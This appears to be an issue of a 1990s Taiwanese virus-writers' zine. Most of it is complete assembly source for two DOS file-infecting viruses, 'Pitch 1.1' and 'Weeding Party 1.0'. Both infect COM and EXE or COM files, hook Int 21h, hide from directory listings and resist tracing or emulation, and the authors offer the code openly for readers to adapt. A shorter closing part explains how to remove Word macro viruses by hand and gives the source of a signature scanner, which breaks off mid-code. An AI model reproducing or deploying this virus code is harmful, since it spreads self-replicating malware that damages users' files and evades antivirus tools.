ECHO
ECHO   这只是一个展示病毒,所以不打算害人,假如
ECHO   你得到的是其他毒,你也许完蛋!!
ECHO
ECHO   名言 : 小心!! 病毒就在你身边!!
ECHO
ECHO
SET F=Y
:PJVIREND
IF NOT %F%X==YX GOTO PJVIRCNT
IF EXIST \PJVIR*.* DEL \PJVIR*.*
SET WP=
SET F=
SET PJCD=
SET OLD=
SET T=
ECHO SET CD=> \NO.BAT
\NO
:PJVIRSET
SET PJCD=

--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.007 e
l [病毒] l
O O
v Pitch 1.1 Dark Killer v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
(哈! 哈! 我在写这只毒时还是 TPVO... 所以...)
;
; =============================================================================
; 病毒名称:Pitch
; 病毒版本:V1.1
; 病毒作者:我?! 我是谁?! 看 msg 吧!!
; 感染条件:COM、EXE 档
; 其它 :1.会追 Int 21h 原始进入点 (非常非常偷懒的方法...)
; 2.反追纵功能...
; 3.隐藏档案大小... (ah=11h/12h/4eh/4fh)
; 4.写入档案时 I/O 转向...
; 5.编码...
; =============================================================================
;
.286c
code segment
assume cs:code,ds:code,es:code,ss:code
org 0000h
start:
mov cx,enc_size ; 要解码的长度...
db 0beh ; mov si,????
enc_start_val dw offset enc_start+0100h
enc_loop:
db 2eh,80h,34h ; xor byte ptr cs:[si],??
enc_val_number db 00h
inc si ; 递增指令...
loop enc_loop ; 回圈...
enc_start:
cli
mov ax,3306h
xor bx,bx
int 21h ; 若是在模拟时, bx 不会改变, 但
delta: ; 若在 DOS 5.0 下时, bx 会传回
cmp bl,05h ; DOS 版本...
jae antitrace_ok
antitrace:
mov ah,4ch ; 在模拟环境内, 离开...
int 21h
antitrace_ok:
mov bp,sp ; 重定位...
mov si,[bp-06h]
sub si,offset delta
mov ah,04h ; 取现在日期...
int 1ah
cmp dx,0501h ; 若是 5/1 则发作...
jne con1
mov ah,09h ; 发作 (显示讯息)...
lea dx,[si+offset msg] ; 并写不执行原档案...
int 21h
mov ax,4c00h
int 21h
con1:
mov ax,4bffh ; 判断记忆体中是否有毒...
mov bx,1996h
int 21h
cmp ax,0331h
jne install
run_original:
cmp byte ptr cs:[si+offset filemode],00h
jne run_exe ; 判断档案模式, 以恢复档案...
run_com:
cld
push ss
pop es
add si,offset head_1
mov di,0100h
push ss
push di
movsw
movsb
push ss
pop ds
retf
run_exe:
mov ah,51h ; 取原程式的 PSP...
int 21h ; BX=原 PSP 的节位置...
push cs
pop ds
mov ax,word ptr [si+offset exehead_1+0014h]
mov word ptr [si+offset j_origin_ip],ax
mov ax,word ptr [si+offset exehead_1+0016h]
add ax,bx
add ax,0010h
mov word ptr [si+offset j_origin_cs],ax
mov ax,word ptr [si+offset exehead_1+000eh]
add ax,bx
add ax,0010h
mov ss,ax
mov sp,word ptr [si+offset exehead_1+0010h]
mov ds,bx
mov es,bx
int 03h ; CPU 驻列的问题... (486 以下机
; 器都会产生这种问题) 所以要先
; 呼叫 Int 03h 让 CPU 驻列区回
; 写, 也就是让 j_origin_ip 及
; j_origin_cs 的值写回去...
db 0eah
j_origin_ip dw 0000h
j_origin_cs dw 0000h
install:
mov ax,524dh ; 算最后一段 MCB 的值...
int 21h
mov bx,word ptr es:[bx-02h]
xor di,di ; 省程式码用的...
mcb_loop1:
mov es,bx
add bx,word ptr es:[di+03h]
inc bx
cmp byte ptr es:[di],al
je mcb_loop1
push es
mov es,bx
cmp byte ptr es:[di],al
pop es
jne mcb_ok
mcb_loop2:
mov es,bx
add bx,word ptr es:[di+03h]
inc bx
cmp byte ptr es:[di],al
je mcb_loop2
mcb_ok:
sub word ptr es:[di+03h],vir_para
; 减肥...
mov ax,es
add ax,word ptr es:[di+03h]
inc ax
mov es,ax
push cs
pop ds
push es
push offset con
cld
mov cx,vir_size
rep movsb ; 把病毒搬过去...
retf
con:
xor si,si
mov ds,si
cli
mov ax,offset newint21h ; 改 int 21h , 换上我们的...
xchg word ptr [si+180h],ax
mov word ptr cs:entint21h,ax
mov word ptr cs:oldint21h,ax
mov ax,cs
xchg word ptr [si+182h],ax
mov word ptr cs:entint21h+0002h,ax
mov word ptr cs:oldint21h+0002h,ax
push cs
pop ds
call trace_int21h ; 追 int 21h 的程式段...
jmp run_original ; 跳回原档案去 run...
callint21h proc near ; 呼叫 int 21h 进入点用的...
pushf
call dword ptr cs:entint21h
ret
callint21h endp
check_me proc near
and al,00011111b
cmp al,00011110b
ret
check_me endp
check_name proc near ; 判断是否为不感染名单...
pushf
pusha
push ds
push cs
pop ds
cld
add di,001fh
push di
check_name_loop2:
xor ch,ch
lodsb
or al,al
je check_name_ok
mov cl,al
pop di
push di
check_name_loop1:
lodsb
inc di
dec cx
cmp byte ptr es:[di],al
jne check_name_con1
jcxz check_name_err
jmp short check_name_loop1
check_name_con1:
add si,cx
jmp short check_name_loop2
check_name_ok:
pop di
pop ds
popa
popf
clc
ret
check_name_err:
pop di
pop ds
popa
popf
stc
ret
check_name endp
dirstealth proc near ; 隐藏的副程式...
call callint21h
pushf
cmp al,0ffh
jne dirstealth_con1
dirstealth_exit:
popf
ret
dirstealth_con1:
pusha
push es
mov ah,2fh ; 取 DTA 的位置...
call callint21h ; OldDTA = ES:BX
cmp byte ptr es:[bx],0ffh
jne dirstealth_con2
add bx,0007h
dirstealth_con2:
mov al,byte ptr es:[bx+17h]
call check_me
jne dirstealth_exit1
sub word ptr es:[bx+1dh],vir_size
sbb word ptr es:[bx+1fh],0000h
and byte ptr es:[bx+16h],11100000b
dirstealth_exit1:
pop es
popa
popf
ret
dirstealth endp
encryation proc near ; 编码的副程式...
pushf
pusha
push es
push cs
pop es
cld
mov cx,vir_size
xor si,si
mov di,offset vir_end
rep movsb
mov si,offset vir_end
mov bx,offset enc_start
add bx,ax
mov word ptr [si+offset enc_start_val],bx
in al,40h
mov byte ptr [si+offset enc_val_number],al
mov cx,enc_size
lea di,[si+offset enc_start]
encryation_loop1:
xor [di],al
inc di
loop encryation_loop1
pop es
popa
popf
ret
encryation endp
findstealth proc near
call callint21h
jc findstealth_exit0
pushf
pusha
push es
mov ah,2fh
call callint21h
mov al,byte ptr es:[bx+16h]
call check_me
jne findstealth_exit1
sub word ptr es:[bx+1ah],vir_size
sbb word ptr es:[bx+1ch],0000h
and byte ptr es:[bx+16h],11100000b
findstealth_exit1:
pop es
popa
popf
findstealth_exit0:
ret
findstealth endp
get_sft proc near ; 取 sft 的副程式...
push bx
mov ax,1220h
int 2fh
mov ax,1216h
xor bh,bh
mov bl,byte ptr es:[di]
int 2fh
pop bx
ret
get_sft endp
infect_com proc near ; 感染 com 的副程式...
pushf
pusha
push ds
push cs
pop ds
mov byte ptr filemode,00h ; 设定为 COM 档...
mov ah,3fh ; 读取档头...
mov cx,0003h
mov dx,offset head_1
call callint21h
mov al,02h ; 取档案大小也顺便移到档尾...
call seek
sub ax,0003h ; 计算跳跃值...
mov byte ptr head_2,0e9h
mov word ptr head_2+0001h,ax
add ax,0103h
call encryation ; 编码...
mov cx,vir_size ; 写入病毒主体...
mov dx,offset vir_end
call write
xor al,al ; 移到档头...
call seek
mov cx,0003h ; 写入 jmp 部份...
mov dx,offset head_2
call write
pop ds
popa
popf
clc ; 写入 ok... C 旗标等于 0
ret
infect_com endp
infect_exe proc near ; 感染 EXE 的副程式...
pushf
pusha
push ds
push es
push cs
pop ds
push cs
pop es
mov byte ptr filemode,01h ; 设定为 EXE 档
mov ah,3fh ; 读取档头...
mov cx,0018h
mov dx,offset exehead_1
call callint21h
cld ; copy 第二个档头以便修改...
mov cx,0018h
mov si,offset exehead_1
mov di,offset exehead_2
rep movsb
cmp word ptr exehead_1,'ZM' ; 若副档名为 EXE 但不是 EXE 格
jne infect_exe_error ; 式的则不感染...
mov al,02h ; 取档案大小...
call seek
add ax,vir_size ; 加上自己的大小
adc dx,0000h ; 可能会有进位, 所以要用 adc 再
; 加到 dx
mov cx,0200h
div cx ; 将档案大小除以 200h (512)
or dx,dx ; 若有余数则 ax 再加 1...
je infect_exe_con1
inc ax
infect_exe_con1:
mov word ptr exehead_2+0002h,dx
mov word ptr exehead_2+0004h,ax
mov al,02h
call seek
mov cx,0010h
div cx ; 算出新的 cs:ip
sub ax,word ptr exehead_2+0008h
mov word ptr exehead_2+0014h,dx
mov word ptr exehead_2+0016h,ax
push dx
add dx,1000h ; 算出新的 ss:sp
mov word ptr exehead_2+000eh,ax
mov word ptr exehead_2+0010h,dx
pop ax
call encryation
mov cx,vir_size ; 写入病毒主体...
mov dx,offset vir_end
call write
xor al,al ; 移到档头...
call seek
mov cx,0018h ; 写入档头资料...
mov dx,offset exehead_2
call write
pop es
pop ds
popa
popf
clc ; 写入成功, C=0
ret
infect_exe_error:
pop es
pop ds
popa
popf
stc ; 不予以感染, C=1
ret
infect_exe endp
newint21h proc far
pushf
cmp ax,4bffh ; 是否为同伴在呼叫...
je mark
cmp ah,11h ; 隐藏 (dir)
je dir_stealth
cmp ah,12h ; 隐藏 (dir)
je dir_stealth
cmp ah,3dh ; 感染 (开档)
je infect
cmp ah,43h ; 感染 (取得或更改档案属性)
je infect
cmp ah,4bh ; 感染 (执行档案)
je infect
cmp ah,4eh ; 隐藏 (find)
je find_stealth
cmp ah,4fh ; 隐藏 (find)
je find_stealth
cmp ah,56h ; 感染 (改档名)
je infect
cmp ax,5700h ; 隐藏 (取档案时间)
je timeg_stealth
cmp ax,5701h ; 恢复 (设档案时间)
je times_stealth
newint21h_exit:
popf
jmp dword ptr cs:oldint21h ; 跳回原 int21h
dir_stealth:
popf
call dirstealth
retf 0002h
find_stealth:
popf
call findstealth
retf 0002h
timeg_stealth:
popf
call timegstealth
retf 0002h
times_stealth:
popf
call timesstealth
retf 0002h
mark:
cmp bx,1996h
jne newint21h_exit
mov ax,0331h
popf
iret
infect:
pusha
push ds
push es
call protect ; 把 int 2ah 作掉...
mov ax,4300h ; 取档案属性...
call callint21h
push cx ; 保留档案属性...
mov ax,4301h
xor cx,cx ; 将档案属性改为 0...
call callint21h
mov ax,3d00h ; 开档... (等下用 sft 改成读写
call callint21h ; 模式)
jc infect_exit1
xchg bx,ax
call get_sft ; 取 sft...
mov al,byte ptr es:[di+0dh]
call check_me ; 若档案时间为 60sec , 代表感染
je infect_exit2 ; 过了, 不再次感染...
mov word ptr es:[di+02h],0002h
cmp word ptr es:[di+28h],'OC'
jne infect_con1
cmp byte ptr es:[di+2ah],'M'
jne infect_exit2
mov si,offset uninfect_com ; 是否为不感染名单?!
call check_name
jc infect_exit2
call infect_com
jmp short infect_exit2
infect_con1:
cmp word ptr es:[di+28h],'XE'
jne infect_exit2
cmp byte ptr es:[di+2ah],'E'
jne infect_exit2
mov si,offset uninfect_exe ; 是否为不感染名单?!
call check_name
jc infect_exit2
call infect_exe
infect_exit2:
jc infect_con2
mov ax,5700h ; 将档案时间改为 60sec...
call callint21h
mov ax,5701h
and cl,11111110b
or cl,00011110b
call callint21h
infect_con2:
mov ah,3eh ; 关档...
call callint21h
infect_exit1:
mov ax,4301h ; 恢复档案属性...
pop cx
call callint21h
infect_exit0:
call unprotect ; 恢复 int 2ah...
pop es
pop ds
popa
jmp newint21h_exit
newint21h endp
protect proc near
pushf
pusha
push ds
xor si,si
mov ds,si
mov di,word ptr [si+00a8h] ; 作掉 int 2ah...
mov word ptr cs:oldint2ah,di
mov ds,word ptr [si+00aah]
mov word ptr cs:oldint2ah+0002h,ds
mov al,0cfh
xchg byte ptr [di],al
mov byte ptr cs:oldint2ah_char,al
pop ds
popa
popf
ret
protect endp
seek proc near ; 移动档案指标的副程式...
mov ah,42h
xor cx,cx
cwd
call callint21h
ret
seek endp
timegstealth proc near
call callint21h
jc timegstealth_exit0
pushf
push ax
push di
push es
call get_sft
mov al,byte ptr es:[di+0dh]
call check_me
jne timegstealth_exit1
and cl,11100000b
timegstealth_exit1:
pop es
pop di
pop ax
popf
timegstealth_exit0:
ret
timegstealth endp
timesstealth proc near
call callint21h
jc timesstealth_exit0
pushf
pusha
push es
call get_sft
mov al,byte ptr [di+0dh]
call check_me
jne timesstealth_exit1
mov ax,5701h
and cl,11111110b
or cl,00011110b
call callint21h
timesstealth_exit1:
pop es
popa
popf
timesstealth_exit0:
ret
timesstealth endp
trace_int21h proc near
pushf
pusha
push ds
mov ax,1203h
int 2fh
mov si,109eh
cmp byte ptr [si],0fah
je trace_int21h_exit1
cmp word ptr [si],9090h
jne trace_int21h_exit0
trace_int21h_exit1:
mov word ptr cs:entint21h,si
mov word ptr cs:entint21h+0002h,ds
trace_int21h_exit0:
pop ds
popa
popf
ret
trace_int21h endp
unprotect proc near
pushf
pusha
push es
cld
mov al,byte ptr cs:oldint2ah_char
les di,dword ptr cs:oldint2ah
stosb
pop es
popa
popf
ret
unprotect endp
write proc near
pushf
pusha
push es
mov ax,1220h
int 2fh
push word ptr es:[di]
mov ax,1220h
xor bx,bx
int 2fh
pop ax
mov ah,al
xchg word ptr es:[di],ax
push ax
mov si,dx
write_loop1:
lodsb
cmp al,0ffh
xchg dx,ax
mov ah,06h
jne write_con1
mov ah,02h
write_con1:
call callint21h
loop write_loop1
pop word ptr es:[di]
pop es
popa
popf
ret
write endp
msg db '[Pitch V1.1] by Dark Killer of [TPVO].',0dh,0ah
db '$'
entint21h dd 00000000h ; Int 21h 进入点位置...
filemode db 00h ; 0=COM ; 1=EXE
oldint21h dd 00000000h
oldint2ah dd 00000000h
oldint2ah_char db 00h
uninfect_com db 05h,'4DOS ' ; 不感染名单...
db 08h,'COMMAND '
db 00h
uninfect_exe db 03h,'WIN'
db 07h,'EMM386 '
db 00h
exehead_2:
head_2 db 18h dup(00h)
exehead_1:
head_1 db 0cdh,20h,00h
db 15h dup(00h)
vir_end:
enc_size equ offset vir_end-offset enc_start
vir_size equ offset vir_end-offset start
vir_para equ (vir_size+07h)/08h
code ends
end start

--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.008 e
l [病毒] l
O O
v Weeding Party Dark Judge v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel

嗨!终于在这里和大家见面了,我是第一次写病毒,由于没有太多时
间来研究病毒写作技巧,所以这只病毒很烂,不过有时间会好好研究一些
新的病毒写作技巧,这只病毒可以使TBscan解毒失败,且加入Anti-Trace
,好了不再多说了,下面是原始程式,自己慢慢去研究吧!
============================================================================
; This is source code of [ Weeding Party 1.0 ]
; Written by Dark Judge at Taiwan Tainan
; 1996.08.28
.286
WP10 SEGMENT
ASSUME CS:WP10,DS:WP10
ORG 100h
START:
DB 3 DUP (90h)
DB 0F0h
VIR_START:
CALL $+3
LOCATE:
XOR AX,AX
INT 11h
OR AX,AX
JNZ NO_PV
JMP OFFSET MSG
; 因为在 PV 的模拟环境之下,只有模拟部份的中断功能,而其它的中断都指向 iret
; 所以呼叫 INT 11h 之前先设 AX = 0, 呼叫后,若 AX 为 0 的话,则表示在 PV
; 的模拟环境之下, 就跳到一处非程式码的地方
NO_PV:
INT 3 ;Anti-Trace
INC SP ;Anti-INT1
INC SP ;Anti-TBClean
MOV BP,SP ;
MOV SI,WORD PTR SS:[BP-2] ;
SUB SI,OFFSET LOCATE
PUSH SI
ADD SI,OFFSET FIRST_4_BYTE
MOV DI,100h
MOVSW
MOVSW
MOV AH,47h
SUB SI,OFFSET FIRST_4_BYTE+4
ADD SI,OFFSET OLD_PATH
XOR DL,DL
INT 21h
POP SI
PUSH DS
MOV AX,1203h
INT 2Fh
PUSH DS
POP ES
POP DS
CALL Trace_int_21h
MOV AX,352Ah
INT 21h
MOV WORD PTR OLD_INT2Ah[SI],BX
MOV WORD PTR OLD_INT2Ah+2[SI],ES
MOV AX,252Ah
LEA DX,Virus_Int_2Ah[SI]
CALL Virus_Int_21h
MOV AH,1Ah
LEA DX,VIR_DTA[SI]
INT 21h
Find_Next1:
MOV AH,4Eh
XOR CX,CX
LEA DX,ANY_COM[SI]
Find_Next:
CALL Virus_Int_21h
JC Change_Path
PUSH SI
MOV CX,8
LEA DI,VIR_DTA[SI+1Eh]
LEA SI,MAK_COMMAND[SI]
REP CMPSB
POP SI
MOV AH,4Fh
JZ Find_Next
MOV AX,3D00h
LEA DX,VIR_DTA[SI+1Eh]
CALL Virus_Int_21h
CALL Get_File_SFT
MOV WORD PTR ES:[DI+2],2
OR BYTE PTR ES:[DI+5],40h
MOV AL,BYTE PTR ES:[DI+4]
PUSH AX
MOV BYTE PTR ES:[DI+4],0
MOV AH,3Fh
MOV CX,4
LEA DX,FIRST_4_BYTE[SI]
CALL Virus_Int_21h
CMP BYTE PTR DS:FIRST_4_BYTE[SI+3],0F0h
JNE INFECT_IT
POP AX
MOV BYTE PTR ES:[DI+4],AL
MOV AH,3Eh
CALL Virus_Int_21h
MOV AH,4Fh
JMP Find_Next
Change_Path:
MOV AH,3Bh
LEA DX,NEW_PATH[SI]
INT 21h
JC VIR_DONE
JMP Find_Next1
VIR_DONE:
MOV AH,3Bh
LEA DX,OLD_PATH[SI]
INT 21h
MOV AH,1Ah
MOV DX,80h
INT 21h
MOV AX,252Ah
LDS DX,DWORD PTR OLD_INT2Ah[SI]
CALL Virus_Int_21h
PUSH CS
PUSH CS
POP DS
POP ES
MOV AH,2Ah
INT 21h
CMP DX,0701h
JNZ NO_SHOW
MOV AH,09h
LEA DX,MSG[SI]
INT 21h
NO_SHOW:
PUSH 100h
RET
INFECT_IT:
MOV AX,WORD PTR ES:[DI+11h]
MOV WORD PTR ES:[DI+15h],AX
SUB AX,3
MOV WORD PTR DS:JMP_BYTE[SI+1],AX
MOV AH,40h
MOV CX,VIR_SIZE
LEA DX,VIR_START[SI]
CALL Virus_Int_21h
MOV WORD PTR ES:[DI+15h],0
MOV AH,40h
MOV CX,4
LEA DX,JMP_AND_MARK[SI]
CALL Virus_Int_21h
CLOSE:
POP AX
MOV BYTE PTR ES:[DI+4],AL
MOV AH,3Eh
CALL Virus_Int_21h
JMP VIR_DONE
Trace_int_21h proc near
xor di,di
mov cx,3000h
mov ax,9090h
t_loop:
repnz scasw
jcxz exit_t
jnz exit_t
cmp word ptr es:[di],0CCE8h
jnz t_loop
cmp word ptr es:[di+3],0FF2Eh
jnz t_loop
mov di,es:[di+6]
les di,dword ptr es:[di]
cmp word ptr es:[di+23h],1E06h
jnz exit_t
add di,23h
mov word ptr old_int21h,di
mov word ptr old_int21h+2,es
ret
exit_t:
mov ax,3521h
int 21h
mov word ptr old_int21h,bx
mov word ptr old_int21h+2,es
ret
Trace_int_21h endp
Virus_Int_21h proc near
cli
pushf
call dword ptr cs:old_int21h
ret
Virus_Int_21h endp
Virus_Int_2Ah proc near
iret
Virus_Int_2Ah endp
Get_File_SFT proc near
XCHG BX,AX
PUSH BX
MOV AX,1220h
INT 2Fh
MOV AX,1216h
XOR BH,BH
MOV BL,ES:[DI]
INT 2Fh
POP BX
ret
Get_File_SFT endp
old_int21h DD ?
OLD_INT2Ah DD ?
OLD_PATH DW 40/2 DUP (0)
NEW_PATH DB '..',0
ANY_COM DB '*.COM',0
MAK_COMMAND DB 'COMMAND.'
FIRST_4_BYTE DB 0CDh,20h,?,?
JMP_AND_MARK LABEL WORD
JMP_BYTE DB 0E9h,?,?,0F0h
MSG DB 'This is Weeding Party 1.0 virus by Dark Judge '
DB 'in Tainan, Taiwan <R.O.C>', '$'
VIR_DTA DB ?
VIR_SIZE EQU $-OFFSET VIR_START
WP10 ENDS
END START

--
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.001 e
l [防毒] l
O O
v 解决巨集病毒 DIY Shi-Hao Weng v
e E-Mail: u4510830@tknet.tku.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel

一. 前言
最近几个月来巨集病毒特别流行,中毒的人可说越来越多了;每到了 13 号
学术网路上 BBS 的病毒版总是有一堆中了 Taiwan NO.1 的求助信,而且数量惊
人,可见巨集病毒有多么流行。然而一如其它病毒,大多数人对巨集病毒还是不
了解以至于当中毒时手忙脚乱,不要说手边的工作要停顿下来,甚至病急乱投医
花了银子饱了防毒厂商的荷包。
☆ 事实上您也可以自己解决巨集病毒,而且这一点也不难! ☆
网路上虽然有一些防毒公司写的巨集病毒扫/解毒巨集,但是对于日益增加
的新型巨集病毒,要等这些扫解毒巨集更新可能缓不济急;因此认识巨集病毒及
学习如何去杀掉巨集病毒这要比等防毒公司帮你写好一个解毒程式要来得实际又
有效率得多了。下面就带您认识巨集病毒,并教您如何解决巨集病毒 DIY。
☆ 给他鱼不如教他钓鱼,您说是不是。 ☆
二. 巨集病毒是啥东西呢?
要谈巨集病毒之前先要说说『巨集』是甚么;『巨集』通常用来定义一些大
量而常重覆使用的资料或动作;例如在一篇文章中『中华民国』四个字出现的频
率很高,我们就在编辑器中把『中华民国』定义为 ROC,碰上要打『中华民国』
时就用 ROC 去代替,等文章打好以后再叫编辑器将 ROC 转换为『中华民国』,
这里 ROC 就可以说是一个巨集了;再说有些软体所提供的巨集功能可以把某些
一连串的动作,如开档、读档、存档..,让使用者定义成一个按键或可执行的模
组等等。而巨集病毒就是靠这种功能所产生的。
许多程式都会提供巨集功能,如 PE2、AMI Pro、MS Word 和我现在打字用的
汉书等都有提供。那这么说 PE2、AMI Pro 都可以拿来写巨集病毒罗?那为甚么我
看到的巨集病毒为甚么都是 MS Word 的呢?您可能会这么问。是的!这些程式所
提供的巨集的确有可能拿来写成病毒(事实上 AMI Pro 就已经有了),但是限于
程式所提供的巨集能力,MS Word 所提供的巨集功能最强且又好写,当然拿来发展
病毒也最方便了,所以大部份撰写巨集病毒的人都是选择 MS Word 的巨集,而造
成 MS Word 的巨集病毒越来越多了。
由于现在流行的都是 MS Word 的巨集病毒,所以我们这儿就只介绍 Word 的
巨集病毒。
MS Word 中提供了一个 Basic 语法的巨集系统,不仅语法易学而且功能也十分
强大,而巨集病毒就是用这种巨集语言写成的巨集;当病毒巨集被执行时会将自己
复制到文件或范本中,随著文件伺机传染。
Word 有提供数种样本文件让使用者选择,如履历表、书信表格等等,Word 把
这些样本文件叫做『共用范本』,而范本里可能会含一些巨集,让使用者执行,方
便做某些动作。当我们开启新档选择某个共用范本时,Word 就会把那个共用范本复
制一份出来给我们使用,而我们最常用的样式(全部空白那种)范本叫做 Normal.dot
,正常来说 Normal.dot 里是没有巨集的;而多半的巨集病毒都会把自己复制到
Normal.dot 中,因为当使用者开启新文件选择 Normal.dot 为范本时 Word 把
Normal.dot 复制一份给使用者使用,自然这份新文件就带有病毒的巨集了。
一般的巨集是不会自动执行的,换句话说就是要使用者自己去执行巨集后巨集才
会动作,如此一来有谁会笨到自己去执行病毒巨集呢?所以说病毒要想办法自动执行
,而 MS Word 的巨集系统却提供了这个功能;当巨集的名称为特定某几个时 MS Word
就会在不同的时机自动去执行它;简单列出几个会自动执行的巨集名称与执行时机,
如下表:
┌────────┬───────────┐
│ 巨 集 名 称 │ 执 行 时 机 │
├────────┼───────────┤
│ AutoExec │ 当进入 Word 时执行 │
├────────┼───────────┤
│ AutoNew │当建立一份新文件时执行│
├────────┼───────────┤
│ AutoOpen │ 当开启一份文件时执行 │
├────────┼───────────┤
│ AutoClose │ 当关闭一份文件时执行 │
├────────┼───────────┤
│ AutoExit │ 当离开 Word 时执行 │
└────────┴───────────┘

这样一来当病毒作者写好巨集病毒后把病毒的巨集名称改为上述几种会自动执
行的特定名称,再放入文件中传播出去,当其他人一去开启这份文件病毒就被执行
并伺机传染范本或其它文件;这就是巨集病毒的原理啦!
三. 解决巨集病毒 Do It Yourself !!
知道了巨集病毒的感染原理后,接下来我们进一步学习如何解除巨集病毒;就
如之前所说的,这一点也不难!我们以 MS Word 6.0 为范例,一步一步教您如何『
亲手做掉巨集病毒』;使用 MS Word 7.0 的方式与 6.0 相似,照做即可。
首先我们进入 Word 中,进入时请按著键盘上的 Shift 键,以使 Word 不会因
为范本中病毒巨集的名称而去自动执行病毒,免得病毒干扰我们解毒;开启一份中毒
的文件,开启文件在按下确定前,也请先按著键盘上 Shift 键不放,再按下确定;
再来开启『档案』选单,选择里面的『范本』,进入范本视窗后选择『组合管理』,
进入组合管理视窗后再选择右上角的『巨集』页;之后画面上会出现两个小视窗,左
边是目前开启的文件里面所含的巨集,右边是目前文件使用的范本其中所含的巨集。
之前说过, Normal.dot 中正常是不含巨集的,而您的文件若不是您有加入巨集否则
应该也是不含巨集的(除非您这份文件开启时所用的范本中就已经含有内定的巨集了)
;现在若是您发现您的文件或范本中含有不明巨集而且其中有些巨集的名称是上述会
自动执行的特定名称,那么这些巨集大概就是巨集病毒了。这时您只要把这些不明巨
集从文件及范本中一一删除,跳出来重新存档一次,然后关闭档案,这样就把文件及
范本里的巨集病毒给做掉啦!!
这样介绍不知道您对巨集病毒有没有更深一层认识?或者您已经会自己解决巨集
病毒了?本篇文章所讲的方法应该可以解掉大多数的巨集病毒,这里不敢说能解掉全
部的巨集病毒,因为电脑病毒的世界里是没有绝对的,但至少这方法都可以解掉弟手
边十余只的巨集病毒,应该还算可以了。当然写这篇文章的用意不仅只是教给大家一
个解毒的方法,而是要大家了解巨集病毒,只要大家能知道巨集病毒的原理相信每个
人都能自己想出解除或预防巨集病毒的方法,我觉得这才是真正的防毒之道。
最后,文中方法或解释弟虽力求清楚正确,唯弟才疏学浅,若有误谬欢迎指教。
Shi-hao Weng OVEL,TP
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.002 e
l [防毒] l
O O
v 简易的扫毒程式? Zhugh Jin v
e E-Mail: jiachi.bbs@csie.nctu.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
(Dark Killer 说明: 金蝉在投稿时 TPVO 尚未改组为 OVEL,TP , 因此这
个扫毒程式所用的 Mark 仍为 TPVO...)
基本上... 我是不热中写 AV 的... 可是又觉得我们写毒给人的感觉
是无所事事, 除了写毒之外什么也不会? 或许有些病毒作者真得如此
, 但并不表示所有的病毒作者也如此。写毒并不是我们的专利, 任何
人都可以, 同理写防毒程式也不是那些公司才算正统! 讲难听点, 就
是因为他们行销广告好, 不然也是一无可取。以一般 user 的眼光来
看! 他们知道什么叫作 CPU 指令模拟吗? 什么是更名追踪器、垂直
写入检验、伴随验证法? 搞出这些名堂跟本就是要他们的产品, 让一
些一无所知的 user 产生一种假像... 说指令模拟? 也不是非常有效
率! 说更名追踪器? 现在说也太晚了, 那种毒都出现好几年了... 而
垂直写入也只不过是防止直接 I/O 的装饰品! 至于伴随型验证法,也
不过无理取闹... 呵! 笑死我也... ;()
懒得说是那一个牌子了... 反正就是遇到不能解的毒或不能防的毒,
就赶快改版, 也不知道真得能不能防? 唉!(不要说我诬赖, 事实是就
是如此) 赚钱赚到这种地步... 坎 啊!
这只小程式是专门用来扫描 X87ME 所产生的范例档 (t??.com) ! 所
使用的方式都是非常普通的功能, 如用 ah,4eh int 21h、 ah,4fh
int 21h 等来搜寻指定要扫瞄的档, 用 ah,3dh/3fh/3eh int 21h 来
完成读档动作... 希望各位『同好』能够有所领悟? 这就是我要感叹
的目的...
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; [X87ME] Scanner By Golden Cicada, 1996.
; Copyright TPVO , 1996.
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.286
.model tiny
.code
org 0100h
begin:
cld
mov si,0082h
mov di,OFFSET para
search_para:
lodsb
cmp al,0dh
jz search_end
cmp al,61h
jb lower_case
sub al,20h
lower_case:
stosb
jmp search_para
search_end:
mov ds:filename_addr,di
xor ax,ax
stosb
call print_version
mov ah,1ah
mov dx,OFFSET dta
int 21h
mov ah,4eh ; 搜寻档案
xor cx,cx
mov dx,OFFSET para
int 21h
jc path_err
pushf
find_next_file:
popf
call print_filename
mov ax,3d02h ; 开档
mov dx,OFFSET para
int 21h
jc open_err
xchg ax,bx
mov ah,3fh ; 读档
mov cx,0200h
mov dx,OFFSET buffer
int 21h
push bx
call chk_is_x87me ; 呼叫是不是被 x87 感染的程式
pop bx
pushf
mov ah,3eh
int 21h
open_err:
mov ah,4fh ; 再搜寻
int 21h
jnc find_next_file
exit:
popf
mov ah,09h
jc exit_a
mov dx,OFFSET msg_4
exit_a:
mov dx,OFFSET msg_5
exit_b:
int 21h
mov ax,4c00h
int 21h
path_err:
mov ah,09h
mov dx,OFFSET msg_6
jmp exit_b
chk_is_x87me:
mov cx,ax
mov si,OFFSET buffer
cid_l:
call cid_s
jc found_x87me_vir
jcxz found_x87me_vir
loop cid_l
found_x87me_vir:
ret
cid_s:
lodsw
dec si
mov dl,ah
cmp al,80h
jz cid_a1
cmp al,82h
jz cid_a1
loop cid_s
clc
ret
cid_a1:
and ah,11000000b
cmp ah,10000000b
jz cid_a2
loop cid_s
clc
ret
cid_a2:
and dl,00000111b
cid_b1:
lodsb
mov dh,al
and al,0f8h
cmp al,040h
jz cid_b2
loop cid_b1
clc
ret
cid_b2:
and dh,00000111b
mov al,dh
cbw
mov di,OFFSET reg_tab
add di,ax
mov al,ds:[di]
cmp al,dl
jnz cid_b1
cid_c1:
lodsw
dec si
cmp al,81h
jz cid_c2
loop cid_c1
clc
ret
cid_c2:
cmp ah,0fch
ja cid_c3
cmp ah,0fbh
jnz cid_c1
